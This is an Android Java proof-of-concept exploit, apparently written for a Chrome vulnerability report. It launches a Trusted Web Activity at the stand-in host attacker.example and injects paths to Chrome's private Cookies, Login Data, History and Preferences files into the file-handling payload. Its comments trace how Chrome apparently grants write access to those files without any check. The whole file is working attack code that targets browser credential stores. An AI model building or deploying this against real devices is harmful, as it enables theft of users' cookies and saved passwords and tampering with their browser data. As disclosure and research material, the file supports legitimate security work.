// POC attacker app — minimal TWA launcher that injects sensitive Chrome
// profile paths into EXTRA_FILE_HANDLING_DATA.
//
// Build into an APK signed with a cert whose SHA-256 matches the
// assetlinks.json hosted at https://<your-origin>/.well-known/assetlinks.json.
//
// Dependencies (build.gradle):
//   implementation "androidx.browser:browser:1.9.0-alpha04"  // or newer with FileHandlingData

package com.example.twapoc;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

import androidx.browser.customtabs.CustomTabsClient;
import androidx.browser.customtabs.CustomTabsIntent;
import androidx.browser.customtabs.CustomTabsServiceConnection;
import androidx.browser.customtabs.CustomTabsSession;
import androidx.browser.trusted.FileHandlingData;
import androidx.browser.trusted.TrustedWebActivityIntentBuilder;
import androidx.browser.trusted.TrustedWebUtils;

import java.util.Arrays;
import java.util.List;

public class MainActivity extends Activity {

    // This origin must serve /.well-known/assetlinks.json pointing at this
    // APK's signing cert (RELATION_HANDLE_ALL_URLS). TwaVerifier.verify()
    // checks that the *attacker's own* origin trusts the *attacker's own*
    // app — trivially satisfiable.
    private static final String TARGET_URL = "https://attacker.example/handler";

    private static final String CHROME_PACKAGE = "com.android.chrome";

    // The strings below pass through:
    //   FileHandlingData.uris -> WebAppLaunchParams.getFileUrisArray()
    //     -> uri.toString()  [WebAppLaunchParams.java:60]
    //     -> JNI std::vector<std::string>  [WebAppLaunchHandler.java:353]
    //     -> base::FilePath(file_uri)  [web_app_launch_handler.cc:27]
    //     -> content::PathInfo(entry_path), PathType::kLocal
    //         [twa_launch_queue_delegate.cc:27, defaults from
    //          file_system_access_permission_context.h:48]
    //     -> CreateFileEntryFromPath(..., UserAction::kSave)
    //         [launch_queue.cc:56-58]  — NO ConfirmSensitiveEntryAccess
    //     -> auto-GRANT write
    //         [chrome_file_system_access_permission_context.cc:1726-1730]
    //
    // Uri.parse() on a path with no scheme treats the whole thing as the
    // path component; toString() returns the literal path string, which
    // base::FilePath happily wraps as an absolute local path.
    private static final List<Uri> TARGET_PATHS = Arrays.asList(
        Uri.parse("/data/data/com.android.chrome/app_chrome/Default/Cookies"),
        Uri.parse("/data/data/com.android.chrome/app_chrome/Default/Login Data"),
        Uri.parse("/data/data/com.android.chrome/app_chrome/Default/History"),
        Uri.parse("/data/data/com.android.chrome/app_chrome/Default/Preferences")
    );

    private CustomTabsClient mClient;
    private CustomTabsSession mSession;

    private final CustomTabsServiceConnection mConnection =
            new CustomTabsServiceConnection() {
        @Override
        public void onCustomTabsServiceConnected(ComponentName name,
                                                 CustomTabsClient client) {
            mClient = client;
            mClient.warmup(0);
            // CustomTabIntentDataProvider.java:639-644 requires
            // mSession != null for isTrustedWebActivity() to be true.
            mSession = mClient.newSession(null);
            fire();
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            mClient = null;
            mSession = null;
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        CustomTabsClient.bindCustomTabsService(this, CHROME_PACKAGE, mConnection);
    }

    private void fire() {
        // Build a TWA intent the conventional way to get the session-binder
        // sidechannel populated, then attach the malicious file-handling
        // payload.
        TrustedWebActivityIntentBuilder builder =
                new TrustedWebActivityIntentBuilder(Uri.parse(TARGET_URL));

        Intent intent = builder.build(mSession).getIntent();

        // Belt-and-braces: ensure the TWA boolean is set (the builder sets it,
        // but make the gate condition explicit).
        // CustomTabIntentDataProvider.java:641-644 reads this.
        intent.putExtra(TrustedWebUtils.EXTRA_LAUNCH_AS_TRUSTED_WEB_ACTIVITY, true);

        // The payload. CustomTabIntentDataProvider.getFileHandlingData()
        // (lines 1822-1833) reads this bundle with FileHandlingData.fromBundle()
        // and performs zero validation on the contained URIs.
        FileHandlingData payload = new FileHandlingData(TARGET_PATHS);
        intent.putExtra(
                TrustedWebActivityIntentBuilder.EXTRA_FILE_HANDLING_DATA,
                payload.toBundle());

        intent.setPackage(CHROME_PACKAGE);
        startActivity(intent);
    }
}
